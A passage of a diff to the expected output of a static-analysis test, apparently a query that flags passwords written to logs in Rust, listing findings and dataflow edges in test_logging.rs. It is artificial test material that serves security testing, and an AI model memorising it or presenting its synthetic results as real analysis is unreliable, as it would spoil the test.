test_logging.rs:67:58:67:65 | password | test_logging.rs:67:5:67:66 | ...::log | This operation writes $@ to a log file. | test_logging.rs:67:58:67:65 | password | password | +| test_logging.rs:68:5:68:67 | ...::log | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:5:68:67 | ...::log | This operation writes $@ to a log file. | test_logging.rs:68:19:68:26 | password | password | +| test_logging.rs:72:5:72:47 | ...::log | test_logging.rs:72:39:72:46 | password | test_logging.rs:72:5:72:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:72:39:72:46 | password | password | +| test_logging.rs:74:5:74:65 | ...::log | test_logging.rs:74:57:74:64 | password | test_logging.rs:74:5:74:65 | ...::log | This operation writes $@ to a log file. | test_logging.rs:74:57:74:64 | password | password | +| test_logging.rs:75:5:75:51 | ...::log | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:5:75:51 | ...::log | This operation writes $@ to a log file. | test_logging.rs:75:21:75:28 | password | password | +| test_logging.rs:76:5:76:47 | ...::log | test_logging.rs:76:39:76:46 | password | test_logging.rs:76:5:76:47 | ...::log | This operation writes $@ to a log file. | test_logging.rs:76:39:76:46 | password | password | +| test_logging.rs:82:5:82:44 | ...::log | test_logging.rs:82:36:82:43 | password | test_logging.rs:82:5:82:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:82:36:82:43 | password | password | +| test_logging.rs:84:5:84:62 | ...::log | test_logging.rs:84:54:84:61 | password | test_logging.rs:84:5:84:62 | ...::log | This operation writes $@ to a log file. | test_logging.rs:84:54:84:61 | password | password | +| test_logging.rs:85:5:85:48 | ...::log | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:5:85:48 | ...::log | This operation writes $@ to a log file. | test_logging.rs:85:21:85:28 | password | password | +| test_logging.rs:86:5:86:44 | ...::log | test_logging.rs:86:36:86:43 | password | test_logging.rs:86:5:86:44 | ...::log | This operation writes $@ to a log file. | test_logging.rs:86:36:86:43 | password | password | +| test_logging.rs:94:5:94:29 | ...::log | test_logging.rs:93:15:93:22 | password | test_logging.rs:94:5:94:29 | ...::log | This operation writes $@ to a log file. | test_logging.rs:93:15:93:22 | password | password | +| test_logging.rs:97:5:97:19 | ...::log | test_logging.rs:96:42:96:49 | password | test_logging.rs:97:5:97:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:96:42:96:49 | password | password | +| test_logging.rs:100:5:100:19 | ...::log | test_logging.rs:99:38:99:45 | password | test_logging.rs:100:5:100:19 | ...::log | This operation writes $@ to a log file. | test_logging.rs:99:38:99:45 | password | password | +| test_logging.rs:118:5:118:42 | ...::log | test_logging.rs:118:28:118:41 | get_password(...) | test_logging.rs:118:5:118:42 | ...::log | This operation writes $@ to a log file. | test_logging.rs:118:28:118:41 | get_password(...) | get_password(...) | +| test_logging.rs:131:5:131:32 | ...::log | test_logging.rs:129:25:129:32 | password | test_logging.rs:131:5:131:32 | ...::log | This operation writes $@ to a log file. | test_logging.rs:129:25:129:32 | password | password | +| test_logging.rs:141:5:141:38 | ...::log | test_logging.rs:141:27:141:37 | s1.password | test_logging.rs:141:5:141:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:141:27:141:37 | s1.password | s1.password | +| test_logging.rs:151:5:151:38 | ...::log | test_logging.rs:151:27:151:37 | s2.password | test_logging.rs:151:5:151:38 | ...::log | This operation writes $@ to a log file. | test_logging.rs:151:27:151:37 | s2.password | s2.password | +| test_logging.rs:176:22:176:31 | log_expect | test_logging.rs:176:70:176:78 | password2 | test_logging.rs:176:22:176:31 | log_expect | This operation writes $@ to a log file. | test_logging.rs:176:70:176:78 | password2 | password2 | +| test_logging.rs:180:24:180:33 | log_expect | test_logging.rs:180:72:180:80 | password2 | test_logging.rs:180:24:180:33 | log_expect | This operation writes $@ to a log file. | test_logging.rs:180:72:180:80 | password2 | password2 | +| test_logging.rs:184:25:184:34 | log_expect | test_logging.rs:183:51:183:59 | password2 | test_logging.rs:184:25:184:34 | log_expect | This operation writes $@ to a log file. | test_logging.rs:183:51:183:59 | password2 | password2 | +| test_logging.rs:188:25:188:34 | log_unwrap | test_logging.rs:187:51:187:59 | password2 | test_logging.rs:188:25:188:34 | log_unwrap | This operation writes $@ to a log file. | test_logging.rs:187:51:187:59 | password2 | password2 | +| test_logging.rs:192:5:192:38 | ...::_print | test_logging.rs:192:30:192:37 | password | test_logging.rs:192:5:192:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:192:30:192:37 | password | password | +| test_logging.rs:193:5:193:38 | ...::_print | test_logging.rs:193:30:193:37 | password | test_logging.rs:193:5:193:38 | ...::_print | This operation writes $@ to a log file. | test_logging.rs:193:30:193:37 | password | password | +| test_logging.rs:194:5:194:39 | ...::_eprint | test_logging.rs:194:31:194:38 | password | test_logging.rs:194:5:194:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:194:31:194:38 | password | password | +| test_logging.rs:195:5:195:39 | ...::_eprint | test_logging.rs:195:31:195:38 | password | test_logging.rs:195:5:195:39 | ...::_eprint | This operation writes $@ to a log file. | test_logging.rs:195:31:195:38 | password | password | +| test_logging.rs:199:13:199:44 | ...::panic_fmt | test_logging.rs:199:36:199:43 | password | test_logging.rs:199:13:199:44 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:199:36:199:43 | password | password | +| test_logging.rs:202:13:202:43 | ...::panic_fmt | test_logging.rs:202:35:202:42 | password | test_logging.rs:202:13:202:43 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:202:35:202:42 | password | password | +| test_logging.rs:205:13:205:52 | ...::panic_fmt | test_logging.rs:205:44:205:51 | password | test_logging.rs:205:13:205:52 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:205:44:205:51 | password | password | +| test_logging.rs:208:13:208:50 | ...::panic_fmt | test_logging.rs:208:42:208:49 | password | test_logging.rs:208:13:208:50 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:208:42:208:49 | password | password | +| test_logging.rs:211:13:211:52 | ...::panic_fmt | test_logging.rs:211:44:211:51 | password | test_logging.rs:211:13:211:52 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:211:44:211:51 | password | password | +| test_logging.rs:214:13:214:54 | ...::assert_failed | test_logging.rs:214:46:214:53 | password | test_logging.rs:214:13:214:54 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:214:46:214:53 | password | password | +| test_logging.rs:217:13:217:54 | ...::assert_failed | test_logging.rs:217:46:217:53 | password | test_logging.rs:217:13:217:54 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:217:46:217:53 | password | password | +| test_logging.rs:220:13:220:58 | ...::panic_fmt | test_logging.rs:220:50:220:57 | password | test_logging.rs:220:13:220:58 | ...::panic_fmt | This operation writes $@ to a log file. | test_logging.rs:220:50:220:57 | password | password | +| test_logging.rs:223:13:223:60 | ...::assert_failed | test_logging.rs:223:52:223:59 | password | test_logging.rs:223:13:223:60 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:223:52:223:59 | password | password | +| test_logging.rs:226:13:226:60 | ...::assert_failed | test_logging.rs:226:52:226:59 | password | test_logging.rs:226:13:226:60 | ...::assert_failed | This operation writes $@ to a log file. | test_logging.rs:226:52:226:59 | password | password | +| test_logging.rs:229:23:229:28 | expect | test_logging.rs:229:54:229:61 | password | test_logging.rs:229:23:229:28 | expect | This operation writes $@ to a log file. | test_logging.rs:229:54:229:61 | password | password | +| test_logging.rs:242:10:242:14 | write | test_logging.rs:242:42:242:49 | password | test_logging.rs:242:10:242:14 | write | This operation writes $@ to a log file. | test_logging.rs:242:42:242:49 | password | password | +| test_logging.rs:245:10:245:18 | write_all | test_logging.rs:245:46:245:53 | password | test_logging.rs:245:10:245:18 | write_all | This operation writes $@ to a log file. | test_logging.rs:245:46:245:53 | password | password | +| test_logging.rs:248:9:248:13 | write | test_logging.rs:248:41:248:48 | password | test_logging.rs:248:9:248:13 | write | This operation writes $@ to a log file. | test_logging.rs:248:41:248:48 | password | password | +| test_logging.rs:251:9:251:13 | write | test_logging.rs:251:41:251:48 | password | test_logging.rs:251:9:251:13 | write | This operation writes $@ to a log file. | test_logging.rs:251:41:251:48 | password | password | edges -| test_logging.rs:43:12:43:35 | MacroExpr | test_logging.rs:43:5:43:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | +| test_logging.rs:42:12:42:35 | MacroExpr | test_logging.rs:42:5:42:36 | ...::log | provenance | MaD:13 Sink:MaD:13 | +| test_logging.rs:42:28:42:35 | password | test_logging.rs:42:12:42:35 | MacroExpr | provenance | | +| test_logging.rs:43:12:43:35 | MacroExpr | test_logging.rs:43:5:43:36 | ...::log | provenance | MaD:13 Sink:MaD:13 | | test_logging.rs:43:28:43:35 | password | test_logging.rs:43:12:43:35 | MacroExpr | provenance | | -| test_logging.rs:44:12:44:35 | MacroExpr | test_logging.rs:44:5:44:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:44:28:44:35 | password | test_logging.rs:44:12:44:35 | MacroExpr | provenance | | -| test_logging.rs:45:11:45:34 | MacroExpr | test_logging.rs:45:5:45:35 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:45:27:45:34 | password | test_logging.rs:45:11:45:34 | MacroExpr | provenance | | -| test_logging.rs:46:12:46:35 | MacroExpr | test_logging.rs:46:5:46:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:46:28:46:35 | password | test_logging.rs:46:12:46:35 | MacroExpr | provenance | | -| test_logging.rs:47:11:47:34 | MacroExpr | test_logging.rs:47:5:47:35 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:47:27:47:34 | password | test_logging.rs:47:11:47:34 | MacroExpr | provenance | | -| test_logging.rs:48:24:48:47 | MacroExpr | test_logging.rs:48:5:48:48 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:48:40:48:47 | password | test_logging.rs:48:24:48:47 | MacroExpr | provenance | | -| test_logging.rs:53:12:53:35 | MacroExpr | test_logging.rs:53:5:53:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:53:28:53:35 | password | test_logging.rs:53:12:53:35 | MacroExpr | provenance | | -| test_logging.rs:55:12:55:48 | MacroExpr | test_logging.rs:55:5:55:49 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:55:41:55:48 | password | test_logging.rs:55:12:55:48 | MacroExpr | provenance | | -| test_logging.rs:57:12:57:46 | MacroExpr | test_logging.rs:57:5:57:47 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:57:39:57:46 | password | test_logging.rs:57:12:57:46 | MacroExpr | provenance | | -| test_logging.rs:58:12:58:33 | MacroExpr | test_logging.rs:58:5:58:34 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:58:24:58:31 | password | test_logging.rs:58:12:58:33 | MacroExpr | provenance | | -| test_logging.rs:59:12:59:35 | MacroExpr | test_logging.rs:59:5:59:36 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:59:24:59:31 | password | test_logging.rs:59:12:59:35 | MacroExpr | provenance | | -| test_logging.rs:61:30:61:53 | MacroExpr | test_logging.rs:61:5:61:54 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:61:46:61:53 | password | test_logging.rs:61:30:61:53 | MacroExpr | provenance | | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | test_logging.rs:62:5:62:55 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:62:20:62:28 | &password | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:62:20:62:28 | &password [&ref] | test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:62:21:62:28 | password | test_logging.rs:62:20:62:28 | &password | provenance | Config | -| test_logging.rs:62:21:62:28 | password | test_logging.rs:62:20:62:28 | &password [&ref] | provenance | | -| test_logging.rs:66:24:66:47 | MacroExpr | test_logging.rs:66:5:66:48 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:66:40:66:47 | password | test_logging.rs:66:24:66:47 | MacroExpr | provenance | | -| test_logging.rs:68:42:68:65 | MacroExpr | test_logging.rs:68:5:68:66 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:68:58:68:65 | password | test_logging.rs:68:42:68:65 | MacroExpr | provenance | | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | test_logging.rs:69:5:69:67 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:69:18:69:26 | &password | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:69:18:69:26 | &password [&ref] | test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:69:19:69:26 | password | test_logging.rs:69:18:69:26 | &password | provenance | Config | -| test_logging.rs:69:19:69:26 | password | test_logging.rs:69:18:69:26 | &password [&ref] | provenance | | -| test_logging.rs:73:23:73:46 | MacroExpr | test_logging.rs:73:5:73:47 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:73:39:73:46 | password | test_logging.rs:73:23:73:46 | MacroExpr | provenance | | -| test_logging.rs:75:41:75:64 | MacroExpr | test_logging.rs:75:5:75:65 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:75:57:75:64 | password | test_logging.rs:75:41:75:64 | MacroExpr | provenance | | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | test_logging.rs:76:5:76:51 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:76:20:76:28 | &password | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:76:20:76:28 | &password [&ref] | test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:76:20:76:28 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:76:20:76:28 | TupleExpr [tuple.0] | test_logging.rs:76:20:76:28 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:76:21:76:28 | password | test_logging.rs:76:20:76:28 | &password | provenance | Config | -| test_logging.rs:76:21:76:28 | password | test_logging.rs:76:20:76:28 | &password [&ref] | provenance | | -| test_logging.rs:77:23:77:46 | MacroExpr | test_logging.rs:77:5:77:47 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:77:39:77:46 | password | test_logging.rs:77:23:77:46 | MacroExpr | provenance | | -| test_logging.rs:83:20:83:43 | MacroExpr | test_logging.rs:83:5:83:44 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:83:36:83:43 | password | test_logging.rs:83:20:83:43 | MacroExpr | provenance | | -| test_logging.rs:85:38:85:61 | MacroExpr | test_logging.rs:85:5:85:62 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:85:54:85:61 | password | test_logging.rs:85:38:85:61 | MacroExpr | provenance | | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | test_logging.rs:86:5:86:48 | ...::log | provenance | MaD:13 Sink:MaD:13 Sink:MaD:13 | -| test_logging.rs:86:20:86:28 | &password | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | provenance | | -| test_logging.rs:86:20:86:28 | &password [&ref] | test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | provenance | | -| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:86:20:86:28 | &... [&ref, tuple.0, &ref] | provenance | | -| test_logging.rs:86:20:86:28 | TupleExpr [tuple.0] | test_logging.rs:86:20:86:28 | &... [&ref, tuple.0] | provenance | | -| test_logging.rs:86:21:86:28 | password | test_logging.rs:86:20:86:28 | &password | provenance | Config | -| test_logging.rs:86:21:86:28 | password | test_logging.rs:86:20:86:28 | &password [&ref] | provenance | | -| test_logging.rs:87:20:87:43 | MacroExpr | test_logging.rs:87:5:87:44 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:87:36:87:43 | password | test_logging.rs:87:20:87:43 | MacroExpr | provenance | | -| test_logging.rs:94:9:94:10 | m1 | test_logging.rs:95:11:95:28 | MacroExpr | provenance | | -| test_logging.rs:94:14:94:22 | &password | test_logging.rs:94:9:94:10 | m1 | provenance | | -| test_logging.rs:94:15:94:22 | password | test_logging.rs:94:14:94:22 | &password | provenance | Config | -| test_logging.rs:95:11:95:28 | MacroExpr | test_logging.rs:95:5:95:29 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:97:9:97:10 | m2 | test_logging.rs:98:11:98:18 | MacroExpr | provenance | | -| test_logging.rs:97:41:97:49 | &password | test_logging.rs:97:9:97:10 | m2 | provenance | | -| test_logging.rs:97:42:97:49 | password | test_logging.rs:97:41:97:49 | &password | provenance | Config | -| test_logging.rs:98:11:98:18 | MacroExpr | test_logging.rs:98:5:98:19 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:100:9:100:10 | m3 | test_logging.rs:101:11:101:18 | MacroExpr | provenance | | -| test_logging.rs:100:14:100:46 | res | test_logging.rs:100:22:100:45 | { ... } | provenance | | -| test_logging.rs:100:22:100:45 | ...::format(...) | test_logging.rs:100:14:100:46 | res | provenance | | -| test_logging.rs:100:22:100:45 | ...::must_use(...) | test_logging.rs:100:9:100:10 | m3 | provenance | | -| test_logging.rs:100:22:100:45 | MacroExpr | test_logging.rs:100:22:100:45 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:100:22:100:45 | { ... } | test_logging.rs:100:22:100:45 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:100:38:100:45 | password | test_logging.rs:100:22:100:45 | MacroExpr | provenance | | -| test_logging.rs:101:11:101:18 | MacroExpr | test_logging.rs:101:5:101:19 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:119:12:119:41 | MacroExpr | test_logging.rs:119:5:119:42 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:119:28:119:41 | get_password(...) | test_logging.rs:119:12:119:41 | MacroExpr | provenance | | -| test_logging.rs:130:9:130:10 | t1 [tuple.1] | test_logging.rs:132:28:132:29 | t1 [tuple.1] | provenance | | -| test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | test_logging.rs:130:9:130:10 | t1 [tuple.1] | provenance | | -| test_logging.rs:130:25:130:32 | password | test_logging.rs:130:14:130:33 | TupleExpr [tuple.1] | provenance | | -| test_logging.rs:132:12:132:31 | MacroExpr | test_logging.rs:132:5:132:32 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:132:28:132:29 | t1 [tuple.1] | test_logging.rs:132:28:132:31 | t1.1 | provenance | | -| test_logging.rs:132:28:132:31 | t1.1 | test_logging.rs:132:12:132:31 | MacroExpr | provenance | | -| test_logging.rs:139:11:139:37 | MacroExpr | test_logging.rs:139:5:139:38 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:139:27:139:37 | s1.password | test_logging.rs:139:11:139:37 | MacroExpr | provenance | | -| test_logging.rs:146:11:146:37 | MacroExpr | test_logging.rs:146:5:146:38 | ...::log | provenance | MaD:12 Sink:MaD:12 | -| test_logging.rs:146:27:146:37 | s2.password | test_logging.rs:146:11:146:37 | MacroExpr | provenance | | -| test_logging.rs:171:33:171:79 | &... | test_logging.rs:171:22:171:31 | log_expect | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:171:33:171:79 | &... [&ref] | test_logging.rs:171:22:171:31 | log_expect | provenance | MaD:9 Sink:MaD:9 | -| test_logging.rs:171:34:171:79 | MacroExpr | test_logging.rs:171:33:171:79 | &... | provenance | Config | -| test_logging.rs:171:34:171:79 | MacroExpr | test_logging.rs:171:33:171:79 | &... [&ref] | provenance | | -| test_logging.rs:171:34:171:79 | res | test_logging.rs:171:42:171:78 | { ... } | provenance | | -| test_logging.rs:171:42:171:78 | ...::format(...) | test_logging.rs:171:34:171:79 | res | provenance | | -| test_logging.rs:171:42:171:78 | ...::must_use(...) | test_logging.rs:171:34:171:79 | MacroExpr | provenance | | -| test_logging.rs:171:42:171:78 | MacroExpr | test_logging.rs:171:42:171:78 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:171:42:171:78 | { ... } | test_logging.rs:171:42:171:78 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:171:70:171:78 | password2 | test_logging.rs:171:42:171:78 | MacroExpr | provenance | | -| test_logging.rs:175:35:175:81 | &... | test_logging.rs:175:24:175:33 | log_expect | provenance | MaD:10 Sink:MaD:10 | -| test_logging.rs:175:35:175:81 | &... [&ref] | test_logging.rs:175:24:175:33 | log_expect | provenance | MaD:10 Sink:MaD:10 | -| test_logging.rs:175:36:175:81 | MacroExpr | test_logging.rs:175:35:175:81 | &... | provenance | Config | -| test_logging.rs:175:36:175:81 | MacroExpr | test_logging.rs:175:35:175:81 | &... [&ref] | provenance | | -| test_logging.rs:175:36:175:81 | res | test_logging.rs:175:44:175:80 | { ... } | provenance | | -| test_logging.rs:175:44:175:80 | ...::format(...) | test_logging.rs:175:36:175:81 | res | provenance | | -| test_logging.rs:175:44:175:80 | ...::must_use(...) | test_logging.rs:175:36:175:81 | MacroExpr | provenance | | -| test_logging.rs:175:44:175:80 | MacroExpr | test_logging.rs:175:44:175:80 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:175:44:175:80 | { ... } | test_logging.rs:175:44:175:80 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:175:72:175:80 | password2 | test_logging.rs:175:44:175:80 | MacroExpr | provenance | | -| test_logging.rs:182:9:182:19 | err_result3 [Err] | test_logging.rs:183:13:183:23 | err_result3 [Err] | provenance | | -| test_logging.rs:182:47:182:60 | Err(...) [Err] | test_logging.rs:182:9:182:19 | err_result3 [Err] | provenance | | -| test_logging.rs:182:51:182:59 | password2 | test_logging.rs:182:47:182:60 | Err(...) [Err] | provenance | | -| test_logging.rs:183:13:183:23 | err_result3 [Err] | test_logging.rs:183:25:183:34 | log_unwrap | provenance | MaD:11 Sink:MaD:11 | -| test_logging.rs:187:12:187:37 | MacroExpr | test_logging.rs:187:5:187:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | -| test_logging.rs:187:30:187:37 | password | test_logging.rs:187:12:187:37 | MacroExpr | provenance | | -| test_logging.rs:188:14:188:37 | MacroExpr | test_logging.rs:188:5:188:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | -| test_logging.rs:188:30:188:37 | password | test_logging.rs:188:14:188:37 | MacroExpr | provenance | | -| test_logging.rs:189:13:189:38 | MacroExpr | test_logging.rs:189:5:189:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | -| test_logging.rs:189:31:189:38 | password | test_logging.rs:189:13:189:38 | MacroExpr | provenance | | -| test_logging.rs:190:15:190:38 | MacroExpr | test_logging.rs:190:5:190:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | -| test_logging.rs:190:31:190:38 | password | test_logging.rs:190:15:190:38 | MacroExpr | provenance | | -| test_logging.rs:193:23:193:46 | MacroExpr | test_logging.rs:193:16:193:47 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:193:39:193:46 | password | test_logging.rs:193:23:193:46 | MacroExpr | provenance | | -| test_logging.rs:194:22:194:45 | MacroExpr | test_logging.rs:194:16:194:46 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:194:38:194:45 | password | test_logging.rs:194:22:194:45 | MacroExpr | provenance | | -| test_logging.rs:195:31:195:54 | MacroExpr | test_logging.rs:195:16:195:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:195:47:195:54 | password | test_logging.rs:195:31:195:54 | MacroExpr | provenance | | -| test_logging.rs:196:29:196:52 | MacroExpr | test_logging.rs:196:16:196:53 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:196:45:196:52 | password | test_logging.rs:196:29:196:52 | MacroExpr | provenance | | -| test_logging.rs:197:31:197:54 | MacroExpr | test_logging.rs:197:16:197:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:197:47:197:54 | password | test_logging.rs:197:31:197:54 | MacroExpr | provenance | | -| test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | test_logging.rs:198:16:198:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:198:33:198:56 | MacroExpr | test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:198:49:198:56 | password | test_logging.rs:198:33:198:56 | MacroExpr | provenance | | -| test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | test_logging.rs:199:16:199:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:199:33:199:56 | MacroExpr | test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:199:49:199:56 | password | test_logging.rs:199:33:199:56 | MacroExpr | provenance | | -| test_logging.rs:200:37:200:60 | MacroExpr | test_logging.rs:200:16:200:61 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | -| test_logging.rs:200:53:200:60 | password | test_logging.rs:200:37:200:60 | MacroExpr | provenance | | -| test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | test_logging.rs:201:16:201:63 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:201:39:201:62 | MacroExpr | test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:201:55:201:62 | password | test_logging.rs:201:39:201:62 | MacroExpr | provenance | | -| test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | test_logging.rs:202:17:202:64 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | -| test_logging.rs:202:40:202:63 | MacroExpr | test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | provenance | | -| test_logging.rs:202:56:202:63 | password | test_logging.rs:202:40:202:63 | MacroExpr | provenance | | -| test_logging.rs:203:34:203:66 | res | test_logging.rs:203:42:203:65 | { ... } | provenance | | -| test_logging.rs:203:34:203:75 | ... .as_str() | test_logging.rs:203:27:203:32 | expect | provenance | MaD:1 Sink:MaD:1 | -| test_logging.rs:203:42:203:65 | ...::format(...) | test_logging.rs:203:34:203:66 | res | provenance | | -| test_logging.rs:203:42:203:65 | ...::must_use(...) | test_logging.rs:203:34:203:75 | ... .as_str() | provenance | MaD:15 | -| test_logging.rs:203:42:203:65 | MacroExpr | test_logging.rs:203:42:203:65 | ...::format(...) | provenance | MaD:16 | -| test_logging.rs:203:42:203:65 | { ... } | test_logging.rs:203:42:203:65 | ...::must_use(...) | provenance | MaD:17 | -| test_logging.rs:203:58:203:65 | password | test_logging.rs:203:42:203:65 | MacroExpr | provenance | | -| test_logging.rs:209:36:209:70 | res | test_logging.rs:209:44:209:69 | { ... } | provenance | | -| test_logging.rs:209:36:209:81 | ... .as_bytes() | test_logging.rs:209:30:209:34 | write | provenance | MaD:5 Sink:MaD:5 | -| test_logging.rs:209:44:209:69 | ...::format(...) | test_logging.rs:209:36:209:70 | res | provenance | | -| test_logging.rs:209:44:209:69 | ...::must_use(...) | test_logging.rs:209:36:209:81 | ... .as_bytes() | provenance | MaD:14 | -| test_logging.rs:209:44:209:69 | MacroExpr | test_logging.rs:209:44:209:69 | ...::format(...) | provenance | MaD:16 | -| 